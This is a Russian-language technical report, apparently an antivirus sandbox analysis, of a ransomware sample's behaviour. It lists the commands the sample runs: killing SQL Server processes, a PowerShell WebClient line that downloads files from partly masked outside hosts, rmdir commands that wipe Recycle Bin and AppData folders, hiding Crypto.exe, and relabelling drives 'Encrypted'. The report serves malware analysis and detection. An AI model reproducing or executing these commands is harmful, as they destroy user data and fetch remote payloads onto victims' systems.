Техническая информация
Вредоносные функции
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /F /IM sqlservr.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM sqlceip.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM sqlwriter.exe /T
- '<SYSTEM32>\net.exe' stop MSSQL$SQLEXPRESS
Загружает
- http://e-####ice.iag.bg/app_themes/efa/clear.txt as c:\users\public\music\clear.bat
- https://www.mo##byte.be/portals/0/video.mp4 as c:\users\public\music\video.mp4
Изменения в файловой системе
Создает следующие файлы
- nul
- C:\users\public\music\clear.bat
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\metadata\f0accf77cdcbff39f6191887f6d2d357
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\content\f0accf77cdcbff39f6191887f6d2d357
- C:\users\public\music\video.mp4
Сетевая активность
TCP
Запросы HTTP GET
- http://e-####ice.iag.bg/App_Themes/Efa/clear.txt
- http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
UDP
- DNS ASK e-####ice.iag.bg
- DNS ASK mo##byte.be
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "label F: Encrypted"
- '<SYSTEM32>\cmd.exe' /C "rmdir C:\$Recycle.Bin /s /q"
- '<SYSTEM32>\cmd.exe' /C "rmdir D:\$Recycle.Bin /s /q"
- '<SYSTEM32>\cmd.exe' /C "rmdir <Имя диска съемного носителя>:\$Recycle.Bin /s /q"
- '<SYSTEM32>\net1.exe' stop MSSQL$SQLEXPRESS
- '<SYSTEM32>\cmd.exe' /C "net stop MSSQL$SQLEXPRESS"
- '<SYSTEM32>\attrib.exe' +h +s Crypto.exe
- '<SYSTEM32>\cmd.exe' /C "attrib +h +s Crypto.exe"
- '<SYSTEM32>\cmd.exe' /C "rmdir %HOMEPATH%\AppData /s /q"
- '<SYSTEM32>\cmd.exe' /C "rmdir C:\Users\Public\AppData /s /q"
- '<SYSTEM32>\cmd.exe' /C "%WINDIR%\syswow64\windowspowershell\v1.0\powershell(New-Object System.Net.WebClient).DownloadFile('http://e-####ice.iag.bg/App_Themes/Efa/clear.txt', 'C:\Users\Public\Music\clear.bat')"
- '<SYSTEM32>\cmd.exe' /C "rmdir C:\Users\Default\AppData /s /q"
- '<SYSTEM32>\cmd.exe' /C "taskkill /F /IM sqlceip.exe /T"
- '<SYSTEM32>\cmd.exe' /C "taskkill /F /IM sqlservr.exe /T"
- '<SYSTEM32>\reg.exe' add HKEY_CLASSES_ROOT\.secure\DefaultIcon /t REG_SZ /d <SYSTEM32>\SHELL32.dll,271 /f
- '<SYSTEM32>\cmd.exe' /C "reg add HKEY_CLASSES_ROOT\.secure\DefaultIcon /t REG_SZ /d <SYSTEM32>\SHELL32.dll,271 /f"
- '<SYSTEM32>\label.exe' C: Encrypted
- '<SYSTEM32>\cmd.exe' /C "label C: Encrypted"
- '<SYSTEM32>\label.exe' D: Encrypted
- '<SYSTEM32>\cmd.exe' /C "label D: Encrypted"
- '<SYSTEM32>\label.exe' F: Encrypted
- '<SYSTEM32>\cmd.exe' /C "taskkill /F /IM sqlwriter.exe /T"
- '<SYSTEM32>\cmd.exe' /C "%WINDIR%\syswow64\windowspowershell\v1.0\powershell(New-Object System.Net.WebClient).DownloadFile('https://www.mo##byte.be/Portals/0/video.mp4', 'C:\Users\Public\Music\video.mp4')"
